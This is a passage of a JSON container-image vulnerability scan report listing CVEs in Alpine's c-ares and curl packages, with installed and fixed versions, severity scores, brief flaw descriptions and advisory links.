"https://nvd.nist.gov/vuln/detail/CVE-2026-111497", "https://opensourcemalware.com/blog/node2shell-affects-python", "https://patchtheplanet.org/brotli", "https://pypi.org/project/Brotli", "https://pypi.org/project/brotlicffi", "https://ubuntu.com/security/notices/USN-8956-1", "https://ubuntu.com/security/notices/USN-8956-2", "https://ubuntu.com/security/notices/USN-8958-1", "https://www.aikido.dev/blog/node2shell-nodejs-brotli-rce-cve-2026-111497", "https://www.cisa.gov/known-exploited-vulnerabilities-catalog", "https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2026-111497", "https://www.cve.org/CVERecord?id=CVE-2026-111497" ], "PublishedDate": "2026-10-22T14:17:37.19Z", "LastModifiedDate": "2026-11-06T16:17:37.393Z" }, { "VulnerabilityID": "CVE-2026-33630", "PkgID": "c-ares@1.34.6-r0", "PkgName": "c-ares", "PkgIdentifier": { "PURL": "pkg:apk/alpine/c-ares@1.34.6-r0?arch=x86_64\u0026distro=3.23.4", "UID": "5be96d5420bec243" }, "InstalledVersion": "1.34.6-r0", "FixedVersion": "1.34.8-r0", "Status": "fixed", "Layer": { "DiffID": "sha256:32aeaf57bbd7e2e10560488d473a5634be88d6d680fa5ddcd01f02fe343a3229" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-33630", "DataSource": { "ID": "alpine", "Name": "Alpine Secdb", "URL": "https://secdb.alpinelinux.org/" }, "Fingerprint": "sha256:3fbdd0d48a9bc1b5a4f3f4ec8a05ab4c38838d20108beb33b22e5e119fc72b95", "Title": "c-ares: c-ares: Use-after-free / double-free in query-completion handling", "Description": "c-ares is an asynchronous resolver library. From ver 1.32.3 until 1.34.7, a use-after-free / double-free in c-ares' query-completion handling. The same flaw — a query's callback being invoked while the query is still linked in the channel's internal lookup structures — is present at multiple points in the resend/finish path (timeout handling, response handling, and query dispatch). If the query, or for ares_getaddrinfo() the owning host_query, is freed as a side effect of that callback, it is then accessed and/or freed a second time. This vulnerability is fixed in ver 1.34.7.", "Severity": "HIGH", "CweIDs": [ "CWE-415", "CWE-416" ], "VendorSeverity": { "alma": 3, "amazon": 3, "azure": 3, "oracle-oval": 3, "redhat": 3, "rocky": 3, "ubuntu": 2 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "V3Score": 7.5 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:42096", "https://access.redhat.com/security/cve/CVE-2026-33630", "https://bugzilla.redhat.com/2497686", "https://bugzilla.redhat.com/show_bug.cgi?id=2497686", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-33630", "https://errata.almalinux.org/10/ALSA-2026-42096.html", "https://errata.rockylinux.org/RLSA-2026:42096", "https://github.com/c-ares/c-ares/commit/1fa3b86a0b8d18fe7b60f3228a01d770feb026bc", "https://github.com/c-ares/c-ares/commit/d823199b688052dcdc1646f2ab4cb8c16b1c644a", "https://github.com/c-ares/c-ares/pull/1237", "https://github.com/c-ares/c-ares/releases/tag/v1.34.7", "https://github.com/c-ares/c-ares/security/advisories/GHSA-6wfj-rwm7-3542", "https://linux.oracle.com/cve/CVE-2026-33630.html", "https://linux.oracle.com/errata/ELSA-2026-42096.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-33630", "https://ubuntu.com/security/notices/USN-8844-1", "https://www.cve.org/CVERecord?id=CVE-2026-33630", "https://www.openwall.com/lists/oss-security/2026/07/06/8" ], "PublishedDate": "2026-09-03T19:17:27.42Z", "LastModifiedDate": "2026-09-09T21:09:13.08Z" }, { "VulnerabilityID": "CVE-2026-11352", "PkgID": "curl@8.19.0-r0", "PkgName": "curl", "PkgIdentifier": { "PURL": "pkg:apk/alpine/curl@8.19.0-r0?arch=x86_64\u0026distro=3.23.4", "UID": "f9ecf01e03ce7fef" }, "InstalledVersion": "8.19.0-r0", "FixedVersion": "8.22.0-r0", "Status": "fixed", "Layer": { "DiffID": "sha256:32aeaf57bbd7e2e10560488d473a5634be88d6d680fa5ddcd01f02fe343a3229" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-11352", "DataSource": { "ID": "alpine", "Name": "Alpine Secdb", "URL": "https://secdb.alpinelinux.org/" }, "Fingerprint": "sha256:53a12213af6c85edf41851e776e96f35886721d0626c94a8bc32b8e065c8bb31", "Title": "curl: libcurl: curl/libcurl: Remote denial of service via QUIC UDP receive function vulnerability", "Description": "An issue in curl’s QUIC UDP receive function allows a malicious HTTP/3 server\nto trigger a remote denial of service against a curl or libcurl client.\nBecause the helper function discards zero-length UDP datagrams before counting\nthem toward the per-call packet budget, a connected QUIC peer can continuously\nstream empty datagrams to indefinitely stall the client.", "Severity": "HIGH", "CweIDs": [ "CWE-835" ], "VendorSeverity": { "julia": 3, "photon": 3, "redhat": 3, "ubuntu": 1 }, "CVSS": { "julia": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "V3Score": 7.5 }, "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "V3Score": 7.5 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-11352", "https://curl.se/L7HzKXisfJ/CVE-2026-11352.md", "https://curl.se/docs/CVE-2026-11352.html", "https://curl.se/docs/CVE-2026-11352.json", "https://github.com/advisories/GHSA-qxwx-hr5v-h5q4", "https://hackerone.com/reports/3783438", "https://nvd.nist.gov/vuln/detail/CVE-2026-11352", "https://ubuntu.com/security/notices/USN-8525-1", "https://www.cve.org/CVERecord?id=CVE-2026-11352" ], "PublishedDate": "2026-07-03T07:16:23.693Z", "LastModifiedDate": "2026-09-15T07:16:25.353Z" }, { "VulnerabilityID": "CVE-2026-11586", "PkgID": "curl@8.19.0-r0", "PkgName": "curl", "PkgIdentifier": { "PURL": "pkg:apk/alpine/curl@8.19.0-r0?arch=x86_64\u0026distro=3.23.4", "UID": "f9ecf01e03ce7fef" }, "InstalledVersion": "8.19.0-r0", "FixedVersion": "8.22.0-r0", "Status": "fixed", "Layer": { "DiffID": "sha256:32aeaf57bbd7e2e10560488d473a5634be88d6d680fa5ddcd01f02fe343a3229" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-11586", "DataSource": { "ID": "alpine", "Name": "Alpine Secdb", "URL": "https://secdb.alpinelinux.org/" }, "Fingerprint": "sha256:5299c0fc5853ad5776267b57b8c0388a1bd21a4593fd9801d7fe33169f8b7740", "Title": "curl: curl: Denial of Service via WebSocket PING flood", "Description": "By default, curl automatically responds to WebSocket PING frames. Because curl\nlacks an upper bound on memory allocation for unacknowledged frames, a\nmalicious server can exhaust all available memory by flooding curl with rapid,\nsequential PING messages.", "Severity": "HIGH", "CweIDs": [ "CWE-770" ], "VendorSeverity": { "amazon": 2, "julia": 3, "photon": 3, "redhat": 3, "ubuntu": 1 }, "CVSS": { "julia": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "V3Score": 7.5 }, "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "V3Score": 7.5 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-11586", "https://curl.se/L7HzKXisfJ/CVE-2026-11586.md", "https://curl.se/docs/CVE-2026-11586.html", "https://curl.se/docs/CVE-2026-11586.json", "https://github.com/advisories/GHSA-c68q-h477-5646", "https://hackerone.com/reports/3788931", "https://nvd.nist.gov/vuln/detail/CVE-2026-11586", "https://ubuntu.com/security/notices/USN-8525-1", "https://www.cve.org/CVERecord?id=CVE-2026-11586" ], "PublishedDate": "2026-07-03T07:16:23.883Z", "LastModifiedDate": "2026-09-15T07:16:25.7Z" }, { "VulnerabilityID": "CVE-2026-12064", "PkgID": "curl@8.19.0-r0", "PkgName": "curl", "PkgIdentifier": { "PURL": "pkg:apk/alpine/curl@8.19.0-r0?arch=x86_64\u0026distro=3.23.4", "UID": "f9ecf01e03ce7fef" }, "InstalledVersion": "8.19.0-r0", "FixedVersion": "8.22.0-r0", "Status": "fixed", "Layer": { "DiffID": "sha256:32aeaf57bbd7e2e10560488d473a5634be88d6d680fa5ddcd01f02fe343a3229" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-12064", "DataSource": { "ID": "alpine", "Name": "Alpine Secdb", "URL": "https://secdb.alpinelinux.org/" }, "Fingerprint": "sha256:98c874481de9a4624a8018681eeea4b65787634a8b4e529030a8bc3b810f22a2", "Title": "curl: curl: SSH host verification bypass when using schemeless URLs with SFTP/SCP", "Description": "When a user invokes curl using a schemeless URL combined with\n`--proto-default` sftp (or scp), a disconnect occurs between the tool layer\nand libcurl. The tool layer incorrectly infers the URL scheme, which\nerroneously bypasses the initialization of critical SSH security options like\nCURLOPT_SSH_HOST_PUBLIC_KEY_SHA256 and CURLOPT_SSH_KNOWNHOSTS. Conversely, the\nlibcurl runtime successfully honors CURLOPT_DEFAULT_PROTOCOL and establishes\nthe connection via SFTP/SCP as specified. Because the tool layer skipped the\nsecurity configuration, these SSH host verification options are silently\nomitted, causing curl to connect to an unverified SSH remote host without\nthrowing an error.", "Severity": "HIGH", "CweIDs": [ "CWE-297", "CWE-295" ], "VendorSeverity": { "amazon": 2, "azure": 3, "julia": 3, "oracle-oval": 3, "photon": 3, "redhat": 3, "ubuntu": 1 }, "CVSS": { "julia": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N", "V3Score": 7.5 }, "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N", "V3Score": 7.5 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-12064", "https://curl.se/L7HzKXisfJ/CVE-2026-12064.md", "https://curl.se/docs/CVE-2026-12064.html", "https://curl.se/docs/CVE-2026-12064.json", "https://github.com/advisories/GHSA-jm94-9f7h-36pr", "https://hackerone.com/reports/3797526", "https://linux.oracle.com/cve/CVE-2026-12064.html", "https://linux.oracle.com/errata/ELSA-2026-55450.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-12064", "https://ubuntu.com/security/notices/USN-8525-1", "https://www.cve.org/CVERecord?id=CVE-2026-12064" ], "PublishedDate": "2026-07-03T07:16:24.217Z", "LastModifiedDate": "2026-09-15T07:16:26.15Z" }, { "VulnerabilityID": "CVE-2026-5773", "PkgID": "curl@8.19.0-r0", "PkgName": "curl", "PkgIdentifier": { "PURL": "pkg:apk/alpine/curl@8.19.0-r0?arch=x86_64\u0026distro=3.23.4", "UID": "f9ecf01e03ce7fef" }, "InstalledVersion": "8.19.0-r0", "FixedVersion": "8.20.0-r0", "Status": "fixed", "Layer": { "DiffID": "sha256:32aeaf57bbd7e2e10560488d473a5634be88d6d680fa5ddcd01f02fe343a3229" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-5773", "DataSource": { "ID": "alpine", "Name": "Alpine Secdb", "URL": "https://secdb.alpinelinux.org/" }, "Fingerprint": "sha256:ed8f017bba12ce3af94fde3742f0843e2cc3dff9b48e3a6ed215fa21926f746e", "Title": "curl: libcurl: Wrong file transfer due to incorrect SMB connection reuse", "Description": "libcurl might in some circumstances reuse the wrong connection for SMB(S)\ntransfers.\n\nlibcurl features a pool of recent connections so that subsequent requests can\nreuse an existing connection to avoid overhead.\n\nWhen reusing a connection a range of criteria must be met. Due to a logical\nerror in the code, a network transfer operation that was requested by an\napplication could wrongfully reuse an existing SMB connection to the same\nserver that was using a different \"share\" than the new subsequent transfer\nshould.\n\nThis could in unlucky situations lead to the download of the wrong file or the\nupload of a file to the wrong place. When this happens, the same credentials\nare used and the server name is the same.", "Severity": "HIGH", "CweIDs": [ "CWE-488", "CWE-918" ], "VendorSeverity": { "julia": 3, "nvd": 3, "photon": 3, "redhat": 2, "ubuntu": 1 }, "CVSS": { "julia": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "V3Score": 7.5 }, "nvd": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "V3Score": 7.5 }, "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N", "V3Score": 6.5 } }, "References": [ "http://www.openwall.com/lists/oss-security/2026/04/29/9", "https://access.redhat.com/security/cve/CVE-2026-5773", "https://curl.se/docs/CVE-2026-5773.html", "https://curl.se/docs/CVE-2026-5773.json", "https://github.com/advisories/GHSA-rp9q-8q5w-ch44", "https://hackerone.com/reports/3650689", "https://nvd.nist.gov/vuln/detail/CVE-2026-5773", "https://ubuntu.com/security/notices/USN-8227-1", "https://ubuntu.com/security/notices/USN-8525-1", "https://www.cve.org/CVERecord?id=CVE-2026-5773" ], "PublishedDate": "2026-05-13T13:01:56.307Z", "LastModifiedDate": "2026-09-15T07:16:28.82Z" }, { "VulnerabilityID": "CVE-2026-6276", "PkgID": "curl@8.19.0-r0", "PkgName": "curl", "PkgIdentifier": { "PURL": "pkg:apk/alpine/curl@8.19.0-r0?arch=x86_64\u0026distro=3.23.4", "UID": "f9ecf01e03ce7fef" }, "InstalledVersion": "8.19.0-r0", "FixedVersion": "8.20.0-r0", "Status": "fixed", "Layer": { "DiffID": "sha256:32aeaf57bbd7e2e10560488d473a5634be88d6d680fa5ddcd01f02fe343a3229" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-6276", "DataSource": { "ID": "alpine", "Name": "Alpine Secdb", "URL": "https://secdb.alpinelinux.org/" }, "Fingerprint": "sha256:12793e17d7cab6a8a7ab6e2159f35ca84e313e7982e038b16484c150f188d951", "Title": "curl: libcurl: Information disclosure due to cookie leak when reusing connections with custom Host headers", "Description": "Using libcurl, when a custom `Host:` header is first set for an HTTP request\nand a second request is subsequently done using the same *easy handle* but\nwithout the custom `Host:` header set, the second request would use stale\ninformation and pass on cookies meant for the first host in the second\nrequest. Leak them.", "Severity": "HIGH", "CweIDs": [ "CWE-346", "CWE-319" ], "VendorSeverity": { "azure": 2, "julia": 3, "nvd": 3, "photon": 3, "redhat": 1, "ubuntu": 1 }, "CVSS": { "julia": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "V3Score": 7.5 }, "nvd": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "V3Score": 7.5 }, "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:N/A:N", "V3Score": 3.7 } }, "References": [ "http://www.openwall.com/lists/oss-security/2026/04/29/13", "https://access.redhat.com/security/cve/CVE-2026-6276", "https://curl.se/docs/CVE-2026-6276.html", "https://curl.se/docs/CVE-2026-6276.json", "https://github.com/advisories/GHSA-2jc6-hc33-hv48", "https://hackerone.com/reports/3671818", "https://nvd.nist.gov/vuln/detail/CVE-2026-6276", "https://ubuntu.com/security/notices/USN-8227-1", "https://www.cve.org/CVERecord?id=CVE-2026-6276" ], "PublishedDate": "2026-05-13T13:01:56.8Z", "LastModifiedDate": "2026-09-15T07:16:29.343Z" }, { "VulnerabilityID": "CVE-2026-8286", "PkgID": "curl@8.19.0-r0", "PkgName": "curl", "PkgIdentifier": { "PURL": "pkg:apk/alpine/curl@8.19.0-r0?arch=x86_64\u0026distro=3.23.4", "UID": "f9ecf01e03ce7fef" }, "InstalledVersion": "8.19.0-r0", "FixedVersion": "8.22.0-r0", "Status": "fixed", "Layer": { "DiffID": "sha256:32aeaf57bbd7e2e10560488d473a5634be88d6d680fa5ddcd01f02fe343a3229" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-8286", "DataSource": { "ID": "alpine", "Name": "Alpine Secdb", "URL": "https://secdb.alpinelinux.org/" }, "Fingerprint": "sha256:051a9c61b5d342f8c2b77c1489bc88ee2d09654d43b598181820b9e98cc7f764", "Title": "curl: curl: Insecure connection establishment due to TLS configuration mismatch", "Description": "A vulnerability exists where a new transfer that uses STARTTLS to upgrade the\nconnection might reuse an existing live connection even though the TLS\nconfiguration mismatches so it should not.", "Severity": "HIGH", "CweIDs": [ "CWE-295" ], "VendorSeverity": { "alma": 3, "amazon": 2, "azure": 3, "julia": 3, "oracle-oval": 3, "photon": 3, "redhat": 3, "rocky": 3, "ubuntu": 1 }, "CVSS": { "julia": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N", "V3Score": 8.1 }, "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N", "V3Score": 8.1 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:55439", "https://access.redhat.com/security/cve/CVE-2026-8286", "https://bugzilla.redhat.com/2446448", "https://bugzilla.redhat.com/2446450", "https://bugzilla.redhat.com/2496758", "https://bugzilla.redhat.com/2496763", "https://bugzilla.redhat.com/show_bug.cgi?id=2446448", "https://bugzilla.redhat.com/show_bug.cgi?id=2446450", "https://bugzilla.redhat.com/show_bug.cgi?id=2496758", "https://bugzilla.redhat.com/show_bug.cgi?id=2496763", "https://creativecommons.org/licenses/by/4.0/", "https://curl.se/L7HzKXisfJ/CVE-2026-8286.md", "https://curl.se/docs/CVE-2026-8286.html", "https://curl.se/docs/CVE-2026-8286.json", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-1965", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-3783", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-8286", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-9547", "https://errata.almalinux.org/9/ALSA-2026-55439.html", "https://errata.rockylinux.org/RLSA-2026:55439", "https://github.com/advisories/GHSA-32xh-3x3c-6g6h", "https://hackerone.com/reports/3718195", "https://linux.oracle.com/cve/CVE-2026-8286.html", "https://linux.oracle.com/errata/ELSA-2026-57462.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-8286", "https://ubuntu.com/security/notices/USN-8487-1", "https://www.cve.org/CVERecord?id=CVE-2026-8286" ], "PublishedDate": "2026-07-03T07:16:24.453Z", "LastModifiedDate": "2026-09-15T07:16:31.617Z" }, { "VulnerabilityID": "CVE-2026-8458", "PkgID": "curl@8.19.0-r0", "PkgName": "curl", "PkgIdentifier": { "PURL": "pkg:apk/alpine/curl@8.19.0-r0?arch=x86_64\u0026distro=3.23.4", "UID": "f9ecf01e03ce7fef" }, "InstalledVersion": "8.19.0-r0", "FixedVersion": "8.22.0-r0", "Status": "fixed", "Layer": { "DiffID": "sha256:32aeaf57bbd7e2e10560488d473a5634be88d6d680fa5ddcd01f02fe343a3229" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-8458", "DataSource": { "ID": "alpine", "Name": "Alpine Secdb", "URL": "https://secdb.alpinelinux.org/" }, "Fingerprint": "sha256:498e6c39e1b3823ac170db5180b60c4d7326c4670cb819a896b033adcbcf2cca", "Title": "curl: libcurl: Unauthorized connection reuse due to a logical error", "Description": "libcurl might in some circumstances reuse the wrong connection when asked to\ndo Negotiate-authenticated ones, even when they are set to use different\n\"services\".\n\nlibcurl features a pool of recent connections so that subsequent requests can\nreuse an existing connection to avoid overhead.\n\nWhen reusing a connection a range of criteria must be met. Due to a logical\nerror in the code, a request that was issued by an application could\nwrongfully reuse an existing connection to the same server that was\nauthenticated using different services.", "Severity": "HIGH", "CweIDs": [ "CWE-488" ], "VendorSeverity": { "alma": 3, "amazon": 2, "azure": 2, "julia": 2, "oracle-oval": 3, "photon": 2, "redhat": 3, "rocky": 3, "ubuntu": 1 }, "CVSS": { "julia": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N", "V3Score": 6.5 }, "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N", "V3Score": 8.1 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:69126", "https://access.redhat.com/security/cve/CVE-2026-8458", "https://bugzilla.redhat.com/2496764", "https://bugzilla.redhat.com/2496769", "https://bugzilla.redhat.com/show_bug.cgi?id=2496764", "https://bugzilla.redhat.com/show_bug.cgi?id=2496769", "https://creativecommons.org/licenses/by/4.0/", "https://curl.se/L7HzKXisfJ/CVE-2026-8458.md", "https://curl.se/docs/CVE-2026-8458.html", "https://curl.se/docs/CVE-2026-8458.json", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-8458", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-8927", "https://errata.almalinux.org/9/ALSA-2026-69126.html", "https://errata.rockylinux.org/RLSA-2026:69126", "https://github.com/advisories/GHSA-88c6-6jfq-mm4q", "https://hackerone.com/reports/3721183", "https://linux.oracle.com/cve/CVE-2026-8458.html", "https://linux.oracle.com/errata/ELSA-2026-92368.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-8458", "https://ubuntu.com/security/notices/USN-8487-1", "https://www.cve.org/CVERecord?id=CVE-2026-8458" ], "PublishedDate": "2026-07-03T07:16:24.63Z", "LastModifiedDate": "2026-09-15T07:16:32.327Z" }, { "VulnerabilityID": "CVE-2026-8925", "PkgID": "curl@8.19.0-r0", "PkgName": "curl", "PkgIdentifier": { "PURL": "pkg:apk/alpine/curl@8.19.0-r0?arch=x86_64\u0026distro=3.23.4", "UID": "f9ecf01e03ce7fef" }, "InstalledVersion": "8.19.0-r0", "FixedVersion": "8.22.0-r0", "Status": "fixed", "Layer": { "DiffID": "sha256:32aeaf57bbd7e2e10560488d473a5634be88d6d680fa5ddcd01f02fe343a3229" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-8925", "DataSource": { "ID": "alpine", "Name": "Alpine Secdb", "URL": "https://secdb.alpinelinux.org/" }, "Fingerprint": "sha256:96d2d15a629258478205f7fb98e37ba67eeaec42314dc85cfae6e5d322cefb9f", "Title": "curl: curl: Double-free vulnerability in SASL authentication", "Description": "The curl logic that works with SASL authentication could end up cleaning up\nthe GSASL context *twice* without clearing the pointer in between, making it\n`free()` the same pointer twice.", "Severity": "HIGH", "CweIDs": [ "CWE-415" ], "VendorSeverity": { "amazon": 2, "julia": 4, "photon": 4, "redhat": 3, "ubuntu": 2 }, "CVSS": { "julia": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "V3Score": 9.8 }, "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H", "V3Score": 8.1 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-8925", "https://curl.se/L7HzKXisfJ/CVE-2026-8925.md", "https://curl.se/docs/CVE-2026-8925.html", "https://curl.se/docs/CVE-2026-8925.json", "https://github.com/advisories/GHSA-p8x5-c6c9-8cwx", "https://hackerone.com/reports/3735193", "https://nvd.nist.gov/vuln/detail/CVE-2026-8925", "https://ubuntu.com/security/notices/USN-8487-1", "https://www.cve.org/CVERecord?id=CVE-2026-8925" ], "PublishedDate": "2026-07-03T07:16:24.95Z", "LastModifiedDate": "2026-09-15T07:16:32.8Z" }, { "VulnerabilityID": "CVE-2026-8927", "PkgID": "curl@8.19.0-r0", "PkgName": "curl", "PkgIdentifier": { "PURL": "pkg:apk/alpine/curl@8.19.0-r0?arch=x86_64\u0026distro=3.23.4", "UID": "f9ecf01e03ce7fef" }, "InstalledVersion": "8.19.0-r0", "FixedVersion": "8.22.0-r0", "Status": "fixed", "Layer": { "DiffID": "sha256:32aeaf57bbd7e2e10560488d473a5634be88d6d680fa5ddcd01f02fe343a3229" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-8927", "DataSource": { "ID": "alpine", "Name": "Alpine Secdb", "URL": "https://secdb.alpinelinux.org/" }, "Fingerprint": "sha256:f2d7c4af30e3dc7a3fb0ecf8c6e4c6f9fa4da81e6c48c233250d31a8b5627d7a", "Title": "curl: Information disclosure due to uncleared proxy authentication state", "Description": "When reusing a libcurl handle for sequential transfers driven by\nenvironment-variable proxy configuration, libcurl fails to clear the proxy\nauthentication state between requests. Specifically, if the initial transfer\nauthenticates against `proxyA` using Digest auth, a subsequent transfer routed\nthrough `proxyB` erroneously leaks the `Proxy-Authorization:` header intended\nsolely for `proxyA`.", "Severity": "HIGH", "CweIDs": [ "CWE-294" ], "VendorSeverity": { "alma": 3, "amazon": 2, "azure": 2, "julia": 4, "oracle-oval": 3, "photon": 4, "redhat": 3, "rocky": 3, "ubuntu": 2 }, "CVSS": { "julia": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N", "V3Score": 9.1 }, "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "V3Score": 7.5 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:69126", "https://access.redhat.com/security/cve/CVE-2026-8927", "https://bugzilla.redhat.com/2496764", "https://bugzilla.redhat.com/2496769", "https://bugzilla.redhat.com/show_bug.cgi?id=2496764", "https://bugzilla.redhat.com/show_bug.cgi?id=2496769", "https://creativecommons.org/licenses/by/4.0/", "https://curl.se/L7HzKXisfJ/CVE-2026-8927.md", "https://curl.se/docs/CVE-2026-8927.html", "https://curl.se/docs/CVE-2026-8927.json", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-8458", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-8927", "https://errata.almalinux.org/9/ALSA-2026-69126.html", "https://errata.rockylinux.org/RLSA-2026:69126", "https://github.com/advisories/GHSA-jr4f-4564-w3mr", "https://hackerone.com/reports/3744543", "https://linux.oracle.com/cve/CVE-2026-8927.html", "https://linux.oracle.com/errata/ELSA-2026-92368.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-8927", "https://ubuntu.com/security/notices/USN-8487-1", "https://ubuntu.com/security/notices/USN-8820-1", "https://www.cve.org/CVERecord?id=CVE-2026-8927" ], "PublishedDate": "2026-07-03T07:16:25.123Z", "LastModifiedDate": "2026-09-15T07:16:33.157Z" }, { "VulnerabilityID": "CVE-2026-92392", "PkgID": "curl@8.19.0-r0", "PkgName": "curl", "PkgIdentifier": { "PURL": "pkg:apk/alpine/curl@8.19.0-r0?arch=x86_64\u0026distro=3.23.4", "UID": "f9ecf01e03ce7fef" }, "InstalledVersion": "8.19.0-r0", "FixedVersion": "8.23.0-r0", "Status": "fixed", "Layer": { "DiffID": "sha256:32aeaf57bbd7e2e10560488d473a5634be88d6d680fa5ddcd01f02fe343a3229" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-92392", "DataSource": { "ID": "alpine", "Name": "Alpine Secdb", "URL": "https://secdb.alpinelinux.org/" }, "Fingerprint": "sha256:a99e6e7cdaae41f56b76d5cd8e68558a9f0df771a97f49aef5639bfb3ec89baf", "Title": "curl: curl: HTTP/2 upload Use-After-Free", "Description": "During an upload, curl mishandles HTTP/2 `RST_STREAM` received from the server\n(with reason `HTTP_1_1_REQUIRED` or `REFUSED_STREAM`) leading to a use after\nfree of a `struct Curl_easy` object.", "Severity": "HIGH", "CweIDs": [ "CWE-416" ], "VendorSeverity": { "amazon": 3, "redhat": 3, "ubuntu": 3 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H", "V3Score": 8.1 } }, "References": [ "http://www.openwall.com/lists/oss-security/2026/10/18/5", "http://www.openwall.com/lists/oss-security/2026/10/18/6", "https://access.redhat.com/security/cve/CVE-2026-92392", "https://curl.se/docs/CVE-2026-92392.html", "https://curl.se/docs/CVE-2026-92392.json", "https://hackerone.com/reports/4030333", "https://nvd.nist.gov/vuln/detail/CVE-2026-92392", "https://ubuntu.com/security/notices/USN-8927-1", "https://ubuntu.com/security/notices/USN-8927-2", "https://www.cve.org/CVERecord?id=CVE-2026-92392" ], "PublishedDate": "2026-10-14T08:17:05.997Z", "LastModifiedDate": "2026-10-18T23:16:57.163Z" }, { "VulnerabilityID": "CVE-2026-9547", "PkgID": "curl@8.19.0-r0", "PkgName": "curl", "PkgIdentifier": { "PURL": "pkg:apk/alpine/curl@8.19.0-r0?arch=x86_64\u0026distro=3.23.4", "UID": "f9ecf01e03ce7fef" }, "InstalledVersion": "8.19.0-r0", "FixedVersion": "8.22.0-r0", "Status": "fixed", "Layer": { "DiffID": "sha256:32aeaf57bbd7e2e10560488d473a5634be88d6d680fa5ddcd01f02fe343a3229" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-9547", "DataSource": { "ID": "alpine", "Name": "Alpine Secdb", "URL": "https://secdb.alpinelinux.org/" }, "Fingerprint": "sha256:c18dbb146ba24903d922c792457409beabc44d4309520d4a665e643f9b0f8adc", "Title": "curl: curl: Man-in-the-middle attack via SSH host key bypass", "Description": "When a libcurl-based application performs transfers via `SCP://` or `SFTP://`\nand utilizes the `CURLOPT_SSH_KEYFUNCTION` callback, it may silently accept an\nuntrusted server. This vulnerability occurs when a server presents a host key\ntype that does not match the specific key type already recorded for that host\nin the `known_hosts` file. Instead of rejecting the mismatch, the callback\nmechanism fails to properly enforce the restriction, allowing the connection\nto succeed without warning and risking a potential man-in-the-middle attack.", "Severity": "HIGH", "CweIDs": [ "CWE-297" ], "VendorSeverity": { "alma": 3, "amazon": 2, "julia": 3, "oracle-oval": 3, "photon": 3, "redhat": 3, "rocky": 3, "ubuntu": 1 }, "CVSS": { "julia": { 